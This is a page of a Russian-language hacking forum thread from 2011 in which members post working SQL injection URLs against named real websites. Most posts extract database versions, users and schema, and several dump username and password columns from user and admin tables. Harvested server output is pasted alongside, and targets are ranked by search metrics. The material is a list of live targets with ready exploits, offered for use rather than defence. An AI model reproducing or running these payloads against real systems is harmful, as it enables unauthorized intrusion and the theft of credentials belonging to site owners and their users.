SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.mogilev.biz/company/?r=-17%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50--

    5.1.44-community-log shuniamogilev@localhost mogilevbiz_mogilev unknown-linux-gnu
     
    1 person likes this.
  2. SpaceMan

    SpaceMan New Member

    Joined:
    5 Jun 2011
    Messages:
    13
    Likes Received:
    4
    Reputations:
    0
    http://www.white-ship.ru/index.php?id=7-999.9+union+select+1,2,3,version%28%29,5,6,7,8,9,10--
    вывод в Title :)
     
  3. SergioRezza

    SergioRezza Member

    Joined:
    9 Jun 2011
    Messages:
    81
    Likes Received:
    7
    Reputations:
    5
    Code:
    http://www.be-on.net/products.php?id=-230+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17--
    Code:
    http://www.dfki.de/lt/card.php?id=-94+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
    Code:
    http://housewives.org.ua/text.php?id=-692+union+select+1,2,3,4,version()--
    Code:
    http://jericho.org.ua/text.php?id=-682+union+select+1,2,3,4,version()--
    Code:
    http://www.tradevoyage.by/new.php?id=-142+union+select+1,2,3,4,version(),6,7,8,9,10--
    Code:
    http://www.thaiware.com/main/info.php?id=-2955+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--
    Code:
    http://bolshevik-bowling.com.ua/info.php?id=-2+union+select+1,2,version()--
    Code:
    http://www.microchip.by/info.php?id=-1106+union+select+1,2,3,version(),5--
    Code:
    http://www.gammabook.ru/news.php?id=-82+union+select+1,concat_ws(0x3a,id,name,password),3,4,5,6+from+users--
    Code:
    http://www.stinkyjournalism.org/editordetail.php?id=-671+union+select+1,concat_ws(0x3a,admin_id,admin_name,admin_pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+admin--
    Code:
    http://www.garo.cc/item.php?id=-879+union+select+1,2,version(),4,5,6,7,8,9,10,11,12
    Code:
    http://www.noborder.org/item.php?id=-383+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
    позже выложу "сочные"
     
    #13923 SergioRezza, 10 Jun 2011
    Last edited: 10 Jun 2011
    1 person likes this.
  4. SergioRezza

    SergioRezza Member

    Joined:
    9 Jun 2011
    Messages:
    81
    Likes Received:
    7
    Reputations:
    5
    http://adu.org.za/staff_page.php?staff_id=-31+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15--

    http://www.jumbocast.net/staffdetails.php?staff_id=-2+union+select+1,2,3,version(),5,6,7,8,9,10,11--

    http://www.milim.com/gallery.php?id=-163+union+select+1,version(),3,4--
     
    #13924 SergioRezza, 10 Jun 2011
    Last edited: 10 Jun 2011
    1 person likes this.
  5. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Работа и вакансии Белгорода

    http://www.r31-rabota.ru/index.php?id=-75%20and%201=2%20union%20select%201,2,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),4+--

    5.1.54 r31-rabota@localhost r31-rabota portbld-freebsd8.1
     
  6. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    pr3 тиц 10
    [email protected]:5.0.90-log:u73487

    pr3 тиц 60
    [email protected]:5.0.92-log:mospf_ru
     
    _________________________
    1 person likes this.
  7. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    http://www.antiquesincanada.com/shop.php?myID=-398 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23

    http://www.lifesaving.org/image_shop_lrg.php?article_id=-41 union select 1,version()--+
    Обязателен рефер с сайта.

    http://www.karmavore.ca/shop.php?pcatid=7&cat=-87 union select version()--+

    http://www.flyermall.com/community/msg_preview.html?cid=-15%20union%20select%201,version%28%29,3--+
     
    #13927 Melfis, 10 Jun 2011
    Last edited: 11 Jun 2011
  8. SergioRezza

    SergioRezza Member

    Joined:
    9 Jun 2011
    Messages:
    81
    Likes Received:
    7
    Reputations:
    5
    http://www.simbin.se/news.php?newsid=-153+union+select+1,concat_ws(0x3a,ID,USERNAME,PASSWORD),3,4,5+from+USERS+where+ID=15--
     
    1 person likes this.
  9. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    virtualjerusalem.com PR-7

    Code:
    http://www.virtualjerusalem.com/news.php?Itemid=3147+and+substring((select+version()),1,1)=5+--+
    njsa.com PR-5

    Code:
    http://www.njsa.com/memoview.php?newsid=-194+union+select+1,2,3,4,concat_ws(version(),user(),database()),6,7,8,9,10+--+
    Code:
    [email protected]_njsa
     
  10. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    Code:
    http://www.ashbyschool.org.uk/news/news_view.php?id=105-999.9+union+select+1,version%28%29,database%28%29,4,5,6,7,8--
    4.1.22-log ashbyschooldb

    Пр 4

    Code:
    http://www.javaportal.ru/books/aboutbook.php?id=30-999.9+union+select+1,database%28%29,version%28%29,4,5,6,7,8,9,10,11,12--
    Тиц 100 Пр 4

    Code:
    http://www.globalfutureevents.com/event.php?id=-487+union+select+1,2,3,version(),database(),user(),7--
    5.1.57 / fesu_db / fesu_usr@localhost
    Тиц10 Пр 3
     
    #13930 bloodAngel, 12 Jun 2011
    Last edited: 12 Jun 2011
  11. SergioRezza

    SergioRezza Member

    Joined:
    9 Jun 2011
    Messages:
    81
    Likes Received:
    7
    Reputations:
    5
    http://colortek.by/show.php?id=434&t=-13+union+select+version()--

    http://www.chgk.com.ru/person.php?id=-49+union+select+1,2,concat_ws(0x3a,name,pass),4,5,6,7+from+user--

    http://lit.phil.pu.ru/person.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,name,password),8+from+users--

    http://hotel-escort.ru/person.php?id=-59+union+select+1,2,3,4,version(),6,7--

    http://www.mebelinfo.ru/base.php?tip=4&id=-34+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18--

    http://fikomed.ru/base.php?id=-8+union+select+1,2,version(),4,5--
     
    #13931 SergioRezza, 12 Jun 2011
    Last edited: 12 Jun 2011
  12. byte.catcher

    byte.catcher New Member

    Joined:
    29 Jan 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    3
    http://www.riff-fanzine.com/InfoArticulo.php?idArticulo=63-999.9+union+select+1,version(),3,4,5,database(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
     
    #13932 byte.catcher, 12 Jun 2011
    Last edited: 12 Jun 2011
  13. SergioRezza

    SergioRezza Member

    Joined:
    9 Jun 2011
    Messages:
    81
    Likes Received:
    7
    Reputations:
    5
    тИЦ 30
    http://stairsoflove.ru/write.php?id=-36271+union+select+1,2,3,version(),5,6--

    тИЦ 10
    http://heartmir.ru/write.php?id=-360+union+select+1,version(),3,4,5--

    тИЦ 30
    http://moy-snegovik.ru/write.php?id=-11910+union+select+1,2,3,version(),5,6--

    тИЦ 10
    http://www.usadiba.ru/dom.php?id=-468+union+select+version(),2,3,4,5,6,7,8--
     
    #13933 SergioRezza, 12 Jun 2011
    Last edited: 12 Jun 2011
  14. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    Компьютерный, молодёжный сленг и жаргон

    Code:
    http://slanger.ru/?mode=library&sl_id=-1095+union+select+1,table_name,3,4,5,6,7+from+information_schema.tables+--+
    тИЦ: 30 PR: 3
     
  15. foozzi

    foozzi Member

    Joined:
    13 Apr 2010
    Messages:
    195
    Likes Received:
    13
    Reputations:
    5
    Вывод под датой
    Code:
    http://www.worstpreviews.com/headline.php?id=-16827+union+select+1,2,3,version(),5,6,7,8+--+
    Не могу раскрутить
    Code:
    http://www.vizzed.com/vizzedboard/thread.php?id=4290'
     
  16. CodeSender:)

    CodeSender:) Elder - Старейшина

    Joined:
    29 Jul 2010
    Messages:
    245
    Likes Received:
    115
    Reputations:
    23
    Code:
    http://tajik-gateway.org/index.phtml?lang=ru&id=-535+union+select+version(),2--+
    Code:
    http://kluchbulgaria.com/index.php?menu=12&lang=ru&id=1246+union+select+1,2,version(),4,5--+
    Code:
    http://stylink.ru/kolgotky/index.html?action=sl&id=5258+UnIon+selECt+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+
    Code:
    http://stroika.md/detail.php?id=1+UnIon+selECt+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--+
    
    Code:
    http://tdlotos.com.ua/prod.php?id=-447+UnIon+selECt+1,concat_ws(0x3a,email,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+users--+
    Code:
    http://russtyle-yug.ru/catalog.php?id=59302%27+union+select+concat_ws(0x3a,login,pass),2+from+tbl_users--+
    Code:
    http://prokatavto.com.ua/index.php?page=order&id=42+UnIon+selECt+1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.columns+where+table_name=0x68636c5f6f70657261746f7273--+
    Code:
    http://julietta.com.ua/index.php?r=3&c=3&id=-84+union+select+version(),2--+
     
    #13936 CodeSender:), 14 Jun 2011
    Last edited: 14 Jun 2011
  17. ubi

    ubi Elder - Старейшина

    Joined:
    25 Dec 2009
    Messages:
    308
    Likes Received:
    76
    Reputations:
    19
    Code:
    http://ulgaz.ru/index.php?mode=news&id=-184+union+select+concat_ws(0x3a,login,pass),2,3+from+users--+
    Корпоративный сайт ООО "Ульяновскоблгаз"
     
  18. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    semes@localhost:5.0.51a-24+lenny5


    coma11@localhost:5.1.32-log:bdcoma11

    tyeg@localhost:5.0.77:tyeg

    his@localhost:4.0.21-log:tyh
     
    2 people like this.
  19. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://ozone.unep.org/new_site/en/notes.php?country_id=1%29+union+select+1,2,unhex%28hex%28user%28%29%29%29--+
     
  20. TYPUCT

    TYPUCT New Member

    Joined:
    7 Sep 2010
    Messages:
    30
    Likes Received:
    3
    Reputations:
    0
    http://www.mir-tv.ru/help.php?id=-2+UNION+SELECT+1,2,version%28%29,4--

    5.1.41-log

    http://www.position1.ru/index-1.php?id=-46+UNION+SELECT+1,2,3,version%28%29,5--

    5.0.90
     
Thread Status:
Not open for further replies.